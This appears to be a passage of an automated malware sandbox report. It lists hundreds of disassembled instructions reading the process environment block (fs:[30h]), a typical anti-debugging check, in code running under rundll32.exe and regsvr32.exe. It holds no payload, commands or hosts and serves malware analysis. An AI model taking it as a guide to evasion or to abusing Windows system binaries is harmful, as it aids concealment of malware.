Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2D1EB0 mov eax, dword ptr fs:[00000030h]	4_2_7F2D1EB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2D1EB0 mov eax, dword ptr fs:[00000030h]	4_2_7F2D1EB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2D1EB0 mov ecx, dword ptr fs:[00000030h]	4_2_7F2D1EB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2D1EB0 mov edx, dword ptr fs:[00000030h]	4_2_7F2D1EB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2D1EB0 mov eax, dword ptr fs:[00000030h]	4_2_7F2D1EB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2D5EC0 mov ecx, dword ptr fs:[00000030h]	4_2_7F2D5EC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CFD40 mov ecx, dword ptr fs:[00000030h]	4_2_7F2CFD40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CFD40 mov ecx, dword ptr fs:[00000030h]	4_2_7F2CFD40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CFD40 mov eax, dword ptr fs:[00000030h]	4_2_7F2CFD40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CFD40 mov eax, dword ptr fs:[00000030h]	4_2_7F2CFD40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CFD40 mov eax, dword ptr fs:[00000030h]	4_2_7F2CFD40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CFD40 mov eax, dword ptr fs:[00000030h]	4_2_7F2CFD40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CFD40 mov eax, dword ptr fs:[00000030h]	4_2_7F2CFD40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CFD40 mov ecx, dword ptr fs:[00000030h]	4_2_7F2CFD40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CFD40 mov edx, dword ptr fs:[00000030h]	4_2_7F2CFD40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CFD40 mov ecx, dword ptr fs:[00000030h]	4_2_7F2CFD40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CFD40 mov eax, dword ptr fs:[00000030h]	4_2_7F2CFD40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CFD40 mov ecx, dword ptr fs:[00000030h]	4_2_7F2CFD40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E7D90 mov ecx, dword ptr fs:[00000030h]	4_2_7F2E7D90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E7D90 mov edx, dword ptr fs:[00000030h]	4_2_7F2E7D90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E7D90 mov eax, dword ptr fs:[00000030h]	4_2_7F2E7D90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E7D90 mov ecx, dword ptr fs:[00000030h]	4_2_7F2E7D90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2EDDF9 mov eax, dword ptr fs:[00000030h]	4_2_7F2EDDF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C5CD0 mov ecx, dword ptr fs:[00000030h]	4_2_7F2C5CD0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2BDA10 mov edx, dword ptr fs:[00000030h]	4_2_7F2BDA10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2BDA10 mov eax, dword ptr fs:[00000030h]	4_2_7F2BDA10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F307A0D mov eax, dword ptr fs:[00000030h]	4_2_7F307A0D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2D9A90 mov eax, dword ptr fs:[00000030h]	4_2_7F2D9A90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CDAC0 mov edx, dword ptr fs:[00000030h]	4_2_7F2CDAC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CDAC0 mov ecx, dword ptr fs:[00000030h]	4_2_7F2CDAC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CDAC0 mov eax, dword ptr fs:[00000030h]	4_2_7F2CDAC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CDAC0 mov eax, dword ptr fs:[00000030h]	4_2_7F2CDAC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CDAC0 mov eax, dword ptr fs:[00000030h]	4_2_7F2CDAC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CDAC0 mov eax, dword ptr fs:[00000030h]	4_2_7F2CDAC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CDAC0 mov eax, dword ptr fs:[00000030h]	4_2_7F2CDAC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CDAC0 mov ecx, dword ptr fs:[00000030h]	4_2_7F2CDAC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CDAC0 mov ecx, dword ptr fs:[00000030h]	4_2_7F2CDAC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CDAC0 mov eax, dword ptr fs:[00000030h]	4_2_7F2CDAC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CDAC0 mov ecx, dword ptr fs:[00000030h]	4_2_7F2CDAC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CDAC0 mov ecx, dword ptr fs:[00000030h]	4_2_7F2CDAC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CDAC0 mov ecx, dword ptr fs:[00000030h]	4_2_7F2CDAC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F307998 mov eax, dword ptr fs:[00000030h]	4_2_7F307998
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F3079DC mov eax, dword ptr fs:[00000030h]	4_2_7F3079DC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2ED7A5 mov eax, dword ptr fs:[00000030h]	4_2_7F2ED7A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2EF610 mov eax, dword ptr fs:[00000030h]	4_2_7F2EF610
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2BD6C0 mov edx, dword ptr fs:[00000030h]	4_2_7F2BD6C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2ED47E mov eax, dword ptr fs:[00000030h]	4_2_7F2ED47E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2BD370 mov edx, dword ptr fs:[00000030h]	4_2_7F2BD370
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DD3E0 mov ecx, dword ptr fs:[00000030h]	4_2_7F2DD3E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DD3E0 mov eax, dword ptr fs:[00000030h]	4_2_7F2DD3E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DD3E0 mov ecx, dword ptr fs:[00000030h]	4_2_7F2DD3E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DD3E0 mov edx, dword ptr fs:[00000030h]	4_2_7F2DD3E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DD3E0 mov eax, dword ptr fs:[00000030h]	4_2_7F2DD3E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B72D0 mov edx, dword ptr fs:[00000030h]	4_2_7F2B72D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2ED039 mov eax, dword ptr fs:[00000030h]	4_2_7F2ED039
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B8F30 mov edx, dword ptr fs:[00000030h]	4_2_7F2B8F30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B8F30 mov ecx, dword ptr fs:[00000030h]	4_2_7F2B8F30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B8F30 mov ecx, dword ptr fs:[00000030h]	4_2_7F2B8F30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B6F1A mov eax, dword ptr fs:[00000030h]	4_2_7F2B6F1A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DAF60 mov eax, dword ptr fs:[00000030h]	4_2_7F2DAF60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2ECE02 mov eax, dword ptr fs:[00000030h]	4_2_7F2ECE02
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C8E10 mov edx, dword ptr fs:[00000030h]	4_2_7F2C8E10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C8E10 mov edx, dword ptr fs:[00000030h]	4_2_7F2C8E10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C8E10 mov edx, dword ptr fs:[00000030h]	4_2_7F2C8E10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C8E10 mov eax, dword ptr fs:[00000030h]	4_2_7F2C8E10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C8E10 mov edx, dword ptr fs:[00000030h]	4_2_7F2C8E10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C8E10 mov ecx, dword ptr fs:[00000030h]	4_2_7F2C8E10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C8E10 mov ecx, dword ptr fs:[00000030h]	4_2_7F2C8E10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C8E10 mov ecx, dword ptr fs:[00000030h]	4_2_7F2C8E10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C8E10 mov edx, dword ptr fs:[00000030h]	4_2_7F2C8E10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2ECE45 mov eax, dword ptr fs:[00000030h]	4_2_7F2ECE45
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B6E80 mov eax, dword ptr fs:[00000030h]	4_2_7F2B6E80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2ECE97 mov eax, dword ptr fs:[00000030h]	4_2_7F2ECE97
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B6C70 mov edx, dword ptr fs:[00000030h]	4_2_7F2B6C70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C2A20 mov eax, dword ptr fs:[00000030h]	4_2_7F2C2A20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CA800 mov ecx, dword ptr fs:[00000030h]	4_2_7F2CA800
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CA800 mov ecx, dword ptr fs:[00000030h]	4_2_7F2CA800
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CA800 mov eax, dword ptr fs:[00000030h]	4_2_7F2CA800
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CA800 mov eax, dword ptr fs:[00000030h]	4_2_7F2CA800
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CA800 mov eax, dword ptr fs:[00000030h]	4_2_7F2CA800
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CA800 mov eax, dword ptr fs:[00000030h]	4_2_7F2CA800
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CA800 mov eax, dword ptr fs:[00000030h]	4_2_7F2CA800
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CA800 mov eax, dword ptr fs:[00000030h]	4_2_7F2CA800
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CA800 mov eax, dword ptr fs:[00000030h]	4_2_7F2CA800
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E8870 mov ecx, dword ptr fs:[00000030h]	4_2_7F2E8870
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E8870 mov edx, dword ptr fs:[00000030h]	4_2_7F2E8870
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E8870 mov eax, dword ptr fs:[00000030h]	4_2_7F2E8870
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E8870 mov ecx, dword ptr fs:[00000030h]	4_2_7F2E8870
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F3007C8 mov ecx, dword ptr fs:[00000030h]	4_2_7F3007C8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B47D4 mov ecx, dword ptr fs:[00000030h]	4_2_7F2B47D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B47D4 mov ecx, dword ptr fs:[00000030h]	4_2_7F2B47D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B47D4 mov edx, dword ptr fs:[00000030h]	4_2_7F2B47D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DA560 mov ecx, dword ptr fs:[00000030h]	4_2_7F2DA560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DA560 mov eax, dword ptr fs:[00000030h]	4_2_7F2DA560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DA560 mov ecx, dword ptr fs:[00000030h]	4_2_7F2DA560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2BE5A0 mov eax, dword ptr fs:[00000030h]	4_2_7F2BE5A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C2420 mov edx, dword ptr fs:[00000030h]	4_2_7F2C2420
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C2420 mov eax, dword ptr fs:[00000030h]	4_2_7F2C2420
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DE3A0 mov eax, dword ptr fs:[00000030h]	4_2_7F2DE3A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C4392 mov edx, dword ptr fs:[00000030h]	4_2_7F2C4392
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2BE250 mov edx, dword ptr fs:[00000030h]	4_2_7F2BE250
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B4280 mov edx, dword ptr fs:[00000030h]	4_2_7F2B4280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B4280 mov ecx, dword ptr fs:[00000030h]	4_2_7F2B4280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B4280 mov ecx, dword ptr fs:[00000030h]	4_2_7F2B4280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B4280 mov ecx, dword ptr fs:[00000030h]	4_2_7F2B4280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B4280 mov ecx, dword ptr fs:[00000030h]	4_2_7F2B4280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B4280 mov edx, dword ptr fs:[00000030h]	4_2_7F2B4280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B42E4 mov edx, dword ptr fs:[00000030h]	4_2_7F2B42E4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B42E4 mov ecx, dword ptr fs:[00000030h]	4_2_7F2B42E4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CC160 mov edx, dword ptr fs:[00000030h]	4_2_7F2CC160
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CC160 mov ecx, dword ptr fs:[00000030h]	4_2_7F2CC160
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CC160 mov eax, dword ptr fs:[00000030h]	4_2_7F2CC160
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CC160 mov eax, dword ptr fs:[00000030h]	4_2_7F2CC160
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CC160 mov eax, dword ptr fs:[00000030h]	4_2_7F2CC160
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CC160 mov eax, dword ptr fs:[00000030h]	4_2_7F2CC160
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CC160 mov eax, dword ptr fs:[00000030h]	4_2_7F2CC160
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CC160 mov edx, dword ptr fs:[00000030h]	4_2_7F2CC160
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CC160 mov eax, dword ptr fs:[00000030h]	4_2_7F2CC160
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DC170 mov eax, dword ptr fs:[00000030h]	4_2_7F2DC170
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DE1B0 mov eax, dword ptr fs:[00000030h]	4_2_7F2DE1B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CA0A4 mov ecx, dword ptr fs:[00000030h]	4_2_7F2CA0A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CA0A4 mov edx, dword ptr fs:[00000030h]	4_2_7F2CA0A4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71AF60 mov eax, dword ptr fs:[00000030h]	6_2_7F71AF60
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F8F30 mov edx, dword ptr fs:[00000030h]	6_2_7F6F8F30
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F8F30 mov ecx, dword ptr fs:[00000030h]	6_2_7F6F8F30
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F8F30 mov ecx, dword ptr fs:[00000030h]	6_2_7F6F8F30
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F6F1A mov eax, dword ptr fs:[00000030h]	6_2_7F6F6F1A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F47D4 mov ecx, dword ptr fs:[00000030h]	6_2_7F6F47D4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F47D4 mov ecx, dword ptr fs:[00000030h]	6_2_7F6F47D4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F47D4 mov edx, dword ptr fs:[00000030h]	6_2_7F6F47D4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F7407C8 mov ecx, dword ptr fs:[00000030h]	6_2_7F7407C8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F717660 mov ecx, dword ptr fs:[00000030h]	6_2_7F717660
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F72F610 mov eax, dword ptr fs:[00000030h]	6_2_7F72F610
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6FD6C0 mov edx, dword ptr fs:[00000030h]	6_2_7F6FD6C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F715EC0 mov ecx, dword ptr fs:[00000030h]	6_2_7F715EC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F711EB0 mov eax, dword ptr fs:[00000030h]	6_2_7F711EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F711EB0 mov edx, dword ptr fs:[00000030h]	6_2_7F711EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F711EB0 mov eax, dword ptr fs:[00000030h]	6_2_7F711EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F711EB0 mov eax, dword ptr fs:[00000030h]	6_2_7F711EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F711EB0 mov eax, dword ptr fs:[00000030h]	6_2_7F711EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F711EB0 mov eax, dword ptr fs:[00000030h]	6_2_7F711EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F711EB0 mov eax, dword ptr fs:[00000030h]	6_2_7F711EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F711EB0 mov ecx, dword ptr fs:[00000030h]	6_2_7F711EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F711EB0 mov edx, dword ptr fs:[00000030h]	6_2_7F711EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F711EB0 mov eax, dword ptr fs:[00000030h]	6_2_7F711EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71E690 mov ecx, dword ptr fs:[00000030h]	6_2_7F71E690
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F6E80 mov eax, dword ptr fs:[00000030h]	6_2_7F6F6E80
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71A560 mov ecx, dword ptr fs:[00000030h]	6_2_7F71A560
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71A560 mov eax, dword ptr fs:[00000030h]	6_2_7F71A560
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71A560 mov ecx, dword ptr fs:[00000030h]	6_2_7F71A560
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71ADB0 mov edx, dword ptr fs:[00000030h]	6_2_7F71ADB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6FE5A0 mov eax, dword ptr fs:[00000030h]	6_2_7F6FE5A0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F727D90 mov ecx, dword ptr fs:[00000030h]	6_2_7F727D90
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F727D90 mov edx, dword ptr fs:[00000030h]	6_2_7F727D90
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F727D90 mov eax, dword ptr fs:[00000030h]	6_2_7F727D90
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F727D90 mov ecx, dword ptr fs:[00000030h]	6_2_7F727D90
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F6C70 mov edx, dword ptr fs:[00000030h]	6_2_7F6F6C70
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F702420 mov edx, dword ptr fs:[00000030h]	6_2_7F702420
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F702420 mov eax, dword ptr fs:[00000030h]	6_2_7F702420
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F705CD0 mov ecx, dword ptr fs:[00000030h]	6_2_7F705CD0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6FD370 mov edx, dword ptr fs:[00000030h]	6_2_7F6FD370
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71D3E0 mov ecx, dword ptr fs:[00000030h]	6_2_7F71D3E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71D3E0 mov eax, dword ptr fs:[00000030h]	6_2_7F71D3E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71D3E0 mov ecx, dword ptr fs:[00000030h]	6_2_7F71D3E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71D3E0 mov edx, dword ptr fs:[00000030h]	6_2_7F71D3E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71D3E0 mov eax, dword ptr fs:[00000030h]	6_2_7F71D3E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71E3A0 mov eax, dword ptr fs:[00000030h]	6_2_7F71E3A0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71B260 mov ecx, dword ptr fs:[00000030h]	6_2_7F71B260
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71B260 mov eax, dword ptr fs:[00000030h]	6_2_7F71B260
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71B260 mov edx, dword ptr fs:[00000030h]	6_2_7F71B260
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71B260 mov eax, dword ptr fs:[00000030h]	6_2_7F71B260
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71B260 mov ecx, dword ptr fs:[00000030h]	6_2_7F71B260
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6FE250 mov edx, dword ptr fs:[00000030h]	6_2_7F6FE250
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F702A20 mov eax, dword ptr fs:[00000030h]	6_2_7F702A20
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F747A0D mov eax, dword ptr fs:[00000030h]	6_2_7F747A0D
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F42E4 mov edx, dword ptr fs:[00000030h]	6_2_7F6F42E4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F42E4 mov ecx, dword ptr fs:[00000030h]	6_2_7F6F42E4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F72D0 mov edx, dword ptr fs:[00000030h]	6_2_7F6F72D0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F719A90 mov eax, dword ptr fs:[00000030h]	6_2_7F719A90
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F4280 mov edx, dword ptr fs:[00000030h]	6_2_7F6F4280
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F4280 mov ecx, dword ptr fs:[00000030h]	6_2_7F6F4280
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F4280 mov ecx, dword ptr fs:[00000030h]	6_2_7F6F4280
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F4280 mov ecx, dword ptr fs:[00000030h]	6_2_7F6F4280
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F4280 mov ecx, dword ptr fs:[00000030h]	6_2_7F6F4280
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F6F4280 mov edx, dword ptr fs:[00000030h]	6_2_7F6F4280
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71C170 mov eax, dword ptr fs:[00000030h]	6_2_7F71C170
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70C160 mov edx, dword ptr fs:[00000030h]	6_2_7F70C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70C160 mov ecx, dword ptr fs:[00000030h]	6_2_7F70C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70C160 mov eax, dword ptr fs:[00000030h]	6_2_7F70C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70C160 mov eax, dword ptr fs:[00000030h]	6_2_7F70C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70C160 mov eax, dword ptr fs:[00000030h]	6_2_7F70C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70C160 mov eax, dword ptr fs:[00000030h]	6_2_7F70C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70C160 mov eax, dword ptr fs:[00000030h]	6_2_7F70C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70C160 mov edx, dword ptr fs:[00000030h]	6_2_7F70C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70C160 mov eax, dword ptr fs:[00000030h]	6_2_7F70C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F7479DC mov eax, dword ptr fs:[00000030h]	6_2_7F7479DC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71E1C0 mov edx, dword ptr fs:[00000030h]	6_2_7F71E1C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71E1B0 mov eax, dword ptr fs:[00000030h]	6_2_7F71E1B0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F747998 mov eax, dword ptr fs:[00000030h]	6_2_7F747998
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F728870 mov ecx, dword ptr fs:[00000030h]	6_2_7F728870
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F728870 mov edx, dword ptr fs:[00000030h]	6_2_7F728870
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F728870 mov eax, dword ptr fs:[00000030h]	6_2_7F728870
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F728870 mov ecx, dword ptr fs:[00000030h]	6_2_7F728870
